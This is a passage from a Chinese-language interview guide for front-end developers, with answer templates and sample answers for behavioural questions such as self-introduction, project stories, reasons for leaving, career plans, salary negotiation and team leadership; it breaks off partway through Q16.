&lt;p&gt;&lt;strong&gt;万能结构（1.5-2 分钟）：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;【身份标签】+【核心经历】+【技术亮点】+【为什么来这里】

模板：
&quot;面试官好，我是 XXX，X 年前端开发经验，目前在 XX 公司担任 XX。

【经历】主要负责过 XX 类型的项目，比如 XXX（一句话概括业务），
       团队规模 X 人，我负责 XX 模块。

【亮点】技术栈以 Vue/React 为主，最近在深入研究 XX 方向（如低代码/
       性能优化/微前端），主导过 XXX 项目，把 XXX 指标从 A 提升到 B。

【动机】看到贵公司在 XX 领域的产品，我很有兴趣，希望能有机会
       在这里做出更多有价值的产品。&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;注意事项：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;❌ 不要背简历（面试官已经在看了）&lt;/li&gt;
&lt;li&gt;❌ 不要说家庭、爱好、性格（除非被问）&lt;/li&gt;
&lt;li&gt;❌ 不要超过 3 分钟（超时被打断很尴尬）&lt;/li&gt;
&lt;li&gt;✅ 有量化数据（性能提升 X%、支持 X 万用户）&lt;/li&gt;
&lt;li&gt;✅ 有技术亮点（1-2 个能展开深挖的点）&lt;/li&gt;
&lt;li&gt;✅ 提前根据 JD 定制（关键词对齐）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;6 年经验者示例：&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;面试官好，我是张三，6 年前端开发经验，目前在 XX 科技做高级前端。&lt;/p&gt;
&lt;p&gt;我主要负责公司核心 SaaS 产品的前端架构和团队技术建设。之前主导过管理后台从 Vue2 + Element UI 迁移到 Vue3 + Vite + TypeScript 的项目，把首屏时间从 4.2s 优化到 1.5s，构建时间从 3 分钟降到 20 秒。&lt;/p&gt;
&lt;p&gt;最近一年我在做前端基建方向，搭建了公司的组件库（80+ 组件，20+ 项目在用）、监控平台（错误率下降 60%）和低代码平台（运营配置活动页效率提升 5 倍）。技术栈以 Vue/React 双栈为主，也在推动 Monorepo 和微前端落地。&lt;/p&gt;
&lt;p&gt;关注贵公司的产品很久了，特别是 XX 产品的技术挑战很吸引我，希望能有机会加入。&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;项目介绍&lt;/h2&gt;
&lt;h3&gt;Q2: 介绍一个你最有成就感的项目 ⭐⭐⭐ 🔥&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;STAR 法则（必背）：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;S (Situation) 情境：项目背景、业务价值、团队规模
T (Task)      任务：你负责什么、要解决什么问题
A (Action)    行动：你做了什么（技术方案 + 权衡 + 落地）
R (Result)    结果：量化数据（性能、效率、业务指标）
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;示例（性能优化项目）：&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;【S】&lt;/strong&gt; &quot;去年公司 SaaS 产品的用户量从 1 万涨到 10 万，客户投诉页面加载慢、操作卡顿，续费率下滑了 8%。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;【T】&lt;/strong&gt; 我作为前端负责人，主导整个产品的性能优化专项，目标是首屏 LCP 从 6.8s 降到 2.5s 以内，交互卡顿彻底消除。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;【A】&lt;/strong&gt; 我先做了全面的性能诊断：用 Lighthouse + Performance 面板 + 自建 RUM 平台，定位到三大瓶颈：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;主包 3.2MB，echarts/moment/lodash 全量引入&lt;/li&gt;
&lt;li&gt;报表页串行请求 4 个接口，等待时间长&lt;/li&gt;
&lt;li&gt;表格一次渲染 5000 行 DOM，滚动掉帧&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;对应的方案：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;echarts 按需注册组件，moment 换 dayjs，lodash 换 lodash-es，主包减到 780KB&lt;/li&gt;
&lt;li&gt;路由级代码分割 + Vite manualChunks 拆包 + Gzip + CDN&lt;/li&gt;
&lt;li&gt;推动后端做 BFF 聚合接口，前端 Promise.all 并行请求&lt;/li&gt;
&lt;li&gt;表格用虚拟列表，只渲染可视区 30 行&lt;/li&gt;
&lt;li&gt;建立前端性能监控看板，CI 加 bundlesize 检查防止退化&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;【R】&lt;/strong&gt; 上线一个月后：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;LCP：6.8s → 1.9s（下降 72%）&lt;/li&gt;
&lt;li&gt;INP：600ms → 80ms&lt;/li&gt;
&lt;li&gt;客诉工单减少 70%，续费率回升到 85%&lt;/li&gt;
&lt;li&gt;沉淀了团队的性能优化 checklist，后续项目直接复用&quot;&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;加分技巧：&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;有数据&lt;/strong&gt;：不说&quot;提升性能&quot;，说&quot;LCP 从 6.8s 降到 1.9s&quot;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;有权衡&lt;/strong&gt;：不说&quot;我用了 X&quot;，说&quot;考虑过 A、B，最终选 X 因为...&quot;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;有反思&lt;/strong&gt;：主动说&quot;这个项目最大的教训是...&quot;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;有沉淀&lt;/strong&gt;：优化后形成的规范、工具、文档、脚手架&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Q3: 项目中最难的技术点是什么？如何解决的？⭐⭐⭐ 🔥&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;回答结构：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;【背景】为什么难（技术挑战 or 业务复杂度 or 团队协调）
【尝试】第一版方案是什么、为什么不 work
【突破】最终的方案 + 关键技术点
【验证】如何证明解决了（数据、监控、用户反馈）
【沉淀】文档/工具/规范
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;示例（协同编辑难点）：&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;背景：我们做在线文档时，遇到多人同时编辑冲突问题——A 和 B 同时改一段话，最终结果不可预测。&lt;/p&gt;
&lt;p&gt;一开始我用的是简单的锁机制（编辑时锁定单元格），但用户体验很差，多人协作变成排队。&lt;/p&gt;
&lt;p&gt;后来调研了 Google Docs 的 OT 算法和 Figma 的 CRDT 方案。OT 需要中央服务器严格协调，实现复杂；CRDT 数据结构本身保证一致性，支持离线。综合考虑后选了 Yjs（基于 CRDT），配合 WebSocket 做实时同步。&lt;/p&gt;
&lt;p&gt;关键难点在于 Yjs 与我们自研富文本编辑器的绑定：Yjs 的数据结构是 Y.Text，编辑器是自定义 Schema，需要写双向转换层。最终花了两周搞定，光标同步、离线合并、历史版本都跑通。&lt;/p&gt;
&lt;p&gt;验证：压测 100 人同时编辑一个文档，无冲突、无数据丢失，延迟 &amp;lt;200ms。&lt;/p&gt;
&lt;p&gt;沉淀：写了一份《协同编辑技术方案》文档，在团队内部分享，后来另一个产品线也复用了这套方案。&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;离职原因&lt;/h2&gt;
&lt;h3&gt;Q4: 你为什么从上一家公司离职？⭐ 🔥&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;核心原则：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;❌ &lt;strong&gt;不抱怨前公司、前老板、前同事&lt;/strong&gt;（哪怕真的很烂）&lt;/li&gt;
&lt;li&gt;❌ &lt;strong&gt;不说是为了钱&lt;/strong&gt;（哪怕是）&lt;/li&gt;
&lt;li&gt;✅ &lt;strong&gt;正面表达 + 未来导向&lt;/strong&gt;（追求什么，不是逃离什么）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;回答模板（按真实场景选）：&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;真实原因&lt;/th&gt;
&lt;th&gt;建议话术&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;技术成长受限&lt;/td&gt;
&lt;td&gt;&quot;希望接触更大规模/更复杂的技术场景，贵公司在这方面有优势&quot;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;业务方向不喜欢&lt;/td&gt;
&lt;td&gt;&quot;对 XX 领域更感兴趣，看到贵公司在 XX 方向的产品非常认可&quot;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;团队氛围差&lt;/td&gt;
&lt;td&gt;&quot;希望加入更注重技术分享和工程文化的团队&quot;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;加班太严重&lt;/td&gt;
&lt;td&gt;&quot;希望在保持高效产出的同时，有更合理的工作节奏专注技术深度&quot;（慎用）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;薪资低&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;不要说！&lt;/strong&gt; 说&quot;寻求更符合个人能力和贡献的机会&quot;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;公司裁员&lt;/td&gt;
&lt;td&gt;直接说&quot;公司业务调整，团队被优化，我在这个过程中也重新思考了职业方向&quot;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;老板不好&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;绝对不说！&lt;/strong&gt; 说&quot;寻求更好的技术导师和成长环境&quot;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;加分回答：&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;我在上一家公司待了 3 年，从初级做到高级，负责了核心 SaaS 产品的前端架构，也带过 3 个人的小组，非常感谢公司的培养。选择离开主要是两个原因：&lt;/p&gt;
&lt;p&gt;一是产品进入稳定期，技术挑战变少了，我希望接触更复杂的场景（比如大规模分布式前端架构、AI + 前端方向）；&lt;/p&gt;
&lt;p&gt;二是关注贵公司很久了，特别是 XX 产品在 XX 领域的创新让我很兴奋，希望能在这样的团队里做出更有影响力的产品。&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;职业规划&lt;/h2&gt;
&lt;h3&gt;Q5: 你的职业规划是什么？⭐⭐ 🔥&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;回答框架（3-5 年）：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;【短期 1 年】融入团队 → 熟悉业务 → 独立承担核心模块
【中期 2-3 年】技术专家方向 or 技术管理方向 → 主导项目/技术选型
【长期 3-5 年】成为领域专家 or 技术负责人 → 影响业务方向
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;示例（技术专家方向）：&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;短期一年内，我希望快速融入团队，熟悉业务和现有技术栈，独立承担 1-2 个核心模块的开发。&lt;/p&gt;
&lt;p&gt;中期 2-3 年，我想在前端架构方向深耕，比如性能优化、微前端、低代码这些领域，希望能主导一次大的技术升级或架构演进，成为团队里某个方向的技术专家。&lt;/p&gt;
&lt;p&gt;长期 3-5 年，我希望成长为能独当一面的技术负责人，不只是写代码，而是能从业务视角思考技术方案，帮助团队做出更好的产品决策。当然，具体路径也会根据公司发展需要调整。&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;注意事项：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;❌ 别说&quot;想创业&quot;（面试官会觉得你不稳定）&lt;/li&gt;
&lt;li&gt;❌ 别说&quot;想转产品/管理&quot;（除非应聘相应岗位）&lt;/li&gt;
&lt;li&gt;❌ 别说&quot;没想过&quot;（显得没规划）&lt;/li&gt;
&lt;li&gt;✅ 规划要和岗位匹配（应聘高级工程师，就说想成为架构师/技术专家）&lt;/li&gt;
&lt;li&gt;✅ 表达要落地（不说空话&quot;成为大牛&quot;，说具体方向）&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;反问环节&lt;/h2&gt;
&lt;h3&gt;Q6: 你有什么想问我们的吗？⭐ 🔥&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;核心原则：&lt;/strong&gt; 一定要问！不问 = 不感兴趣。但也不能问薪资、加班、假期（一面二面阶段）。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;推荐问题（按面试官身份分层）：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;问技术面试官（一面/二面）：&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&quot;团队目前的技术栈和架构是什么样的？未来一年有什么演进计划？&quot;&lt;/li&gt;
&lt;li&gt;&quot;这个岗位主要会负责哪些模块？团队怎么分工？&quot;&lt;/li&gt;
&lt;li&gt;&quot;团队目前遇到的最大技术挑战是什么？&quot;&lt;/li&gt;
&lt;li&gt;&quot;团队的 Code Review、技术规范、上线流程是怎样的？&quot;&lt;/li&gt;
&lt;li&gt;&quot;如果我入职，前 3 个月您希望我达成什么目标？&quot;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;问技术 Leader / 总监（三面）：&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&quot;这个岗位在团队中的定位是什么？未来 1-2 年的发展路径？&quot;&lt;/li&gt;
&lt;li&gt;&quot;团队的技术文化和工程氛围是怎样的？有没有技术分享、Code Review、开源贡献？&quot;&lt;/li&gt;
&lt;li&gt;&quot;您觉得团队里做得最好的和最需要改进的分别是什么？&quot;&lt;/li&gt;
&lt;li&gt;&quot;公司对这个业务方向的长期规划是怎样的？&quot;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;问 HR（HR 面）：&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&quot;公司的培训体系和技术职级晋升机制是怎样的？&quot;&lt;/li&gt;
&lt;li&gt;&quot;团队的规模、构成、汇报关系是怎样的？&quot;&lt;/li&gt;
&lt;li&gt;&quot;面试流程还有几轮？大概什么时候能有反馈？&quot;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;薪资、期权、加班、假期&lt;/strong&gt;：HR 面可以问，但要放到最后&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;❌ 千万别问：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&quot;加班多吗？&quot;（一面二面问 = 直接扣分）&lt;/li&gt;
&lt;li&gt;&quot;有没有对象/单身吗？&quot;（不专业）&lt;/li&gt;
&lt;li&gt;能百度到的公司基本信息&lt;/li&gt;
&lt;li&gt;面试表现如何（让面试官尴尬）&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;压力面 / 冲突处理&lt;/h2&gt;
&lt;h3&gt;Q7: 和产品/后端/设计有分歧怎么办？⭐⭐ 🔥&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;回答框架：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;1. 先理解对方立场（不是敌对，是共同目标）
2. 用数据和事实说话（不是&quot;我觉得&quot;）
3. 找共同上级或第三方评审（避免死磕）
4. 决定后果断执行（不带着情绪做）
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;示例回答：&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;我之前遇到过一个典型案例：产品要求首页加载 20 个模块的内容，我评估后觉得会严重影响性能（首屏可能超过 5s）。&lt;/p&gt;
&lt;p&gt;我没有直接说&apos;这个做不了&apos;，而是先做了两件事：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;拉了一版原型，实际测了性能数据，用 Lighthouse 报告说明问题&lt;/li&gt;
&lt;li&gt;找了几个类似产品（比如竞品）的首页设计做对比&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;然后和产品沟通：我理解你想让用户看到更多内容的初衷，但数据显示 20 个模块会让首屏慢 3 秒，用户流失率会上升 X%。我提了两个折中方案：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;方案 A：首屏保留 8 个核心模块，其他做成 Tab 切换&lt;/li&gt;
&lt;li&gt;方案 B：全部保留，但用懒加载 + 骨架屏，视觉上不阻塞&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;最后产品选了方案 A，上线后首屏 1.8s，用户停留时长反而提升了。&lt;/p&gt;
&lt;p&gt;我的经验是：分歧不可怕，可怕的是没有数据和替代方案。前端要用专业能力帮产品做更好的决策，而不是简单说&apos;做不了&apos;。&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;Q8: 如果领导给你一个不合理的需求（工期短、任务重），你怎么办？⭐⭐&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;1. 先明确需求边界（是不是真的&quot;不合理&quot;，还是自己评估失误）
2. 拆分优先级：必须做的 / 可以延后的 / 可以砍的
3. 给领导选择题，而不是判断题
   &quot;如果本周上线，只能完成 A + B；如果延到下周，可以完成 A + B + C。您看哪个方案更符合业务节奏？&quot;
4. 明确风险：如果强推，哪些质量指标会打折（测试覆盖率、性能优化）
5. 记录决策：邮件/文档同步，避免后期背锅
6. 执行阶段：拉齐每日进度，遇到问题及时暴露
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Q9: 你的缺点是什么？⭐&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;核心原则：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;❌ 不说假缺点（&quot;我太追求完美了&quot;、&quot;我工作太拼了&quot; —— 面试官内心 OS：滚）&lt;/li&gt;
&lt;li&gt;❌ 不说真致命伤（&quot;我脾气差&quot;、&quot;我不爱学习&quot;、&quot;我经常迟到&quot;）&lt;/li&gt;
&lt;li&gt;✅ 说真实但可改进的缺点 + 已经在做的行动&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;示例：&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;我以前有个问题是过于追求技术完美，做一个组件会花很多时间打磨细节，导致进度慢。后来我意识到业务价值优先，现在的做法是：先出 MVP 满足业务，再用业余时间迭代优化。&lt;/p&gt;
&lt;p&gt;另一个是公开表达能力偏弱，之前在团队分享会紧张。我这一年主动承担了 3 次内部分享，还参加了一个技术演讲社群，现在已经好很多了。&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;薪资谈判&lt;/h2&gt;
&lt;h3&gt;Q10: 期望薪资是多少？⭐ 🔥&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;核心策略：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;1. 先反问对方范围（如果 HR 主动问）
   &quot;方便告诉我这个岗位的薪资范围吗？我看看是否匹配。&quot;

2. 报数字要给区间，别给单点
   ❌ &quot;我要 30K&quot;
   ✅ &quot;根据我的经验和市场情况，期望在 30-35K，具体可以根据
       整体 package（期权、奖金、福利）综合考虑&quot;

3. 有底线的自信
   - 底线：目前薪资 × 1.2（低于这个数宁可不来）
   - 期望：目前薪资 × 1.4-1.5（合理涨幅）
   - 理想：目前薪资 × 1.8+（如果技术面评价很高可以争取）

4. 别只看月薪，看总包
   - 月薪 × 12 or 13 or 14（几薪）
   - 期权 / 股票（上市公司看当前价，未上市看估值）
   - 年终奖 / 项目奖金
   - 补贴（餐补、房补、交通、通讯）
   - 五险一金基数（按实际工资还是最低标准？）
   - 年假、病假、产假
   - 加班文化（大小周？996？）

5. 手里有多个 Offer 时
   &quot;我目前有几个 Offer 在谈，其中 X 公司给到 XXK，但贵公司
    是我的第一选择，如果 package 能匹配，我会优先考虑。&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;6 年经验薪资参考（一线城市 2026）：&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;公司类型&lt;/th&gt;
&lt;th&gt;月薪范围&lt;/th&gt;
&lt;th&gt;总包&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;大厂 P6/P7&lt;/td&gt;
&lt;td&gt;35-55K × 15-16 薪&lt;/td&gt;
&lt;td&gt;60-100W&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;独角兽&lt;/td&gt;
&lt;td&gt;30-45K × 14-15 薪 + 期权&lt;/td&gt;
&lt;td&gt;50-80W&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;中型互联网&lt;/td&gt;
&lt;td&gt;25-40K × 13-14 薪&lt;/td&gt;
&lt;td&gt;40-60W&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;传统行业 IT&lt;/td&gt;
&lt;td&gt;20-30K × 13 薪&lt;/td&gt;
&lt;td&gt;30-45W&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;注意：&lt;/strong&gt; 具体数字因城市、行业、公司差异很大，面试前可以在脉脉、看准网、OfferShow 查一下该公司该岗位的行情。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;团队协作与领导力&lt;/h2&gt;
&lt;h3&gt;Q11: 你带过新人吗？如何培养？⭐⭐&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;带新人的四个阶段：

1. 入职第一周：环境搭建
   - 准备好开发环境文档（不要口头讲）
   - 指定 Mentor（每天固定 30 分钟答疑）
   - 分配一个小任务（bug 修复 / 简单需求）建立信心

2. 第一月：熟悉业务
   - 参与需求评审、Code Review（先旁听再发言）
   - 承担独立小模块开发
   - 每周一对一 sync，收集困惑和反馈

3. 前三月：独立承担
   - 分配完整需求（从评审到上线）
   - Code Review 严格把关，重点讲&quot;为什么&quot;而不只是&quot;怎么改&quot;
   - 引导写技术文档、总结沉淀

4. 半年后：技术成长
   - 鼓励做技术分享、参与架构讨论
   - 给挑战性任务（性能优化、技术选型）
   - 帮助规划职业发展路径

关键心态：
- 允许犯错（在可控范围内），不要事事亲为
- 多问&quot;你怎么想&quot;，少说&quot;你这样做&quot;
- 及时肯定，具体反馈（不说&quot;做得好&quot;，说&quot;这个方案考虑到了 X 场景，很棒&quot;）
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Q12: 如何推动团队做技术改进（比如引入 TypeScript）？⭐⭐⭐&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;技术改革的常见阻力：
- 老代码迁移成本高
- 团队学习曲线
- 短期业务压力大
- 部分成员抵触

推动策略：

1. 数据说话，不做空谈
   ❌ &quot;TS 好，我们应该用&quot;
   ✅ &quot;调研了 3 个业界项目，用 TS 后线上 bug 率下降 40%，
       我们过去半年的 P0 事故中有 60% 是类型问题&quot;

2. 从增量开始，不搞&quot;一次性大爆炸&quot;
   - 新模块强制 TS，老代码保留 JS
   - allowJs: true 共存，逐步迁移
   - 先做工具函数、类型定义（低风险的模块）

3. 建样板工程 + 文档
   - 挑一个中等复杂度模块作为示范
   - 写《TS 迁移手册》《常见类型模式》
   - 团队分享会讲透

4. 拉关键人物背书
   - 先说服技术负责人 / 团队 Leader
   - 找 1-2 个有影响力的同事做首批尝鲜者
   - 用他们的正面反馈带动其他人

5. 提供工具降低成本
   - 配好 ESLint / tsconfig 模板
   - CI 加类型检查（不能通过就不让合）
   - 常见类型的 Snippet / 代码模板

6. 度量效果，持续迭代
   - 三个月后统计 bug 率、开发效率
   - 收集团队反馈，调整规范
   - 沉淀最佳实践
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;学习能力与技术热情&lt;/h2&gt;
&lt;h3&gt;Q13: 你最近在学习什么新技术？⭐&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;回答策略：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;1. 说真话（面试官可能会深挖）
2. 有系统性（不是&quot;随便看看&quot;，而是&quot;深入实践&quot;）
3. 有输出（写了博客 / 做了 Demo / 用在了项目里）
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;示例：&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;最近半年我在深入研究两个方向：&lt;/p&gt;
&lt;p&gt;一是 &lt;strong&gt;AI + 前端&lt;/strong&gt;，特别是 LLM 应用开发。我用 Vercel AI SDK + Next.js 做了一个内部工具，让运营可以用自然语言查询数据。技术上研究了 SSE 流式响应、Prompt Engineering、Function Calling。这个项目让部门的数据分析效率提升了 3 倍。&lt;/p&gt;
&lt;p&gt;二是 &lt;strong&gt;Rust + WASM 在前端的应用&lt;/strong&gt;。我用 Rust 写了一个图片处理库编译到 WASM，替换掉原来纯 JS 的实现，性能提升了 8 倍。相关的学习笔记我发在了个人博客上（可以顺便秀一下你的博客地址）。&lt;/p&gt;
&lt;p&gt;学习方法上，我习惯&apos;先动手做小项目，再系统看文档，最后写博客总结&apos;，这样印象最深。&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;加分点：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;有 GitHub / 博客 / 开源贡献&lt;/li&gt;
&lt;li&gt;关注具体技术公众号、周刊（阮一峰周刊、字节技术、掘金等）&lt;/li&gt;
&lt;li&gt;参加技术大会 / Meetup&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Q14: 遇到不会的技术问题怎么办？⭐&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;标准回答（体现方法论）：

1. 官方文档优先（MDN / React 官方 / Vue 官方）
2. 搜索引擎（Google &amp;gt; 百度，英文 &amp;gt; 中文）
3. 社区（Stack Overflow / GitHub Issues / 掘金 / V2EX）
4. AI 工具（ChatGPT / Claude / Copilot，但要验证）
5. 团队同事（先自己查 30 分钟，实在不行再问，问的时候带上&quot;我尝试了什么&quot;）
6. 源码阅读（终极手段，特别是框架 bug）

关键原则：
- 不是&quot;不会就放弃&quot;，而是&quot;不会就查+验证+沉淀&quot;
- 每次解决问题后写文档，避免团队重复踩坑
- 定期回顾，把高频问题变成工具/规范
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;面试全流程&lt;/h2&gt;
&lt;h3&gt;Q15: 完整的面试流程是怎样的？如何准备？⭐⭐&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;中高级前端典型流程：

1. HR 电话沟通（15-30 min）
   - 基本情况、期望薪资、离职原因
   - 目的：初筛，判断是否匹配

2. 技术一面（60 min，同级工程师）
   - 基础知识（HTML/CSS/JS）
   - 手写代码（防抖节流、深拷贝等）
   - 项目细节

3. 技术二面（60 min，技术 Leader）
   - 深入原理（Vue/React 源码、性能优化）
   - 系统设计场景题
   - 项目难点、技术决策

4. 技术三面 / 交叉面（60 min，总监 or 其他团队 Leader）
   - 架构能力、技术视野
   - 团队协作、领导力
   - 职业规划

5. HR 面（30-45 min）
   - 稳定性、性格、期望薪资
   - 家庭情况（合规的公司不会问太多）

6. Offer 沟通
   - 薪资谈判
   - 期权、入职时间
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;准备清单：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;【技术准备】
- 复习本宝典 18 篇文章，特别是标 🔥 的高频题
- 手写代码题练 3 遍以上（14 篇）
- 项目难点整理成 STAR 表述（每个项目准备 2-3 个亮点）
- 系统设计题准备 3-5 个万能模板（17 篇）

【公司调研】
- 公司业务、产品、技术栈
- 面试团队规模、组织架构
- 最近的融资、大事件
- 面试评价（脉脉、看准网）

【个人材料】
- 简历更新（量化数据、STAR 结构）
- 作品集：GitHub / 个人博客 / Demo 站
- 离职证明、学历证明、薪资流水（提前准备）

【面试当天】
- 提前 15 分钟到 / 提前测试视频面试设备
- 带纸笔（现场画架构图很加分）
- 着装整洁（互联网公司不用正装，干净即可）
- 准备一份&quot;反问清单&quot;（Q6）
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Q16: 面试中被问到不会的问题怎么办？⭐&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;❌ 千万不要：
- 强行编答案（面试官一深挖就穿帮）
- 直接说&quot;不会&quot;然后沉默（显得没思考）
- 转移话题（明显逃避）

✅ 正确姿势：

1. 承认 + 展示思路
   &quot;这个具体的 API 我没用过，但我理解它可能是解决 XX 问题的，
    如果让我实现，我会从 XX 角度切入……&quot;

2. 类比迁移
   &quot;这个我不熟，但我用过类似的 XX，它的原理是……
    我猜这个技术可能也是类似的思路？&quot;

3. 反问澄清
   &quot;您能具体说下是在什么场景下用吗？我可能理解得不太准确。&quot;
   （有时候面试官会给你提示）

4. 承诺后续
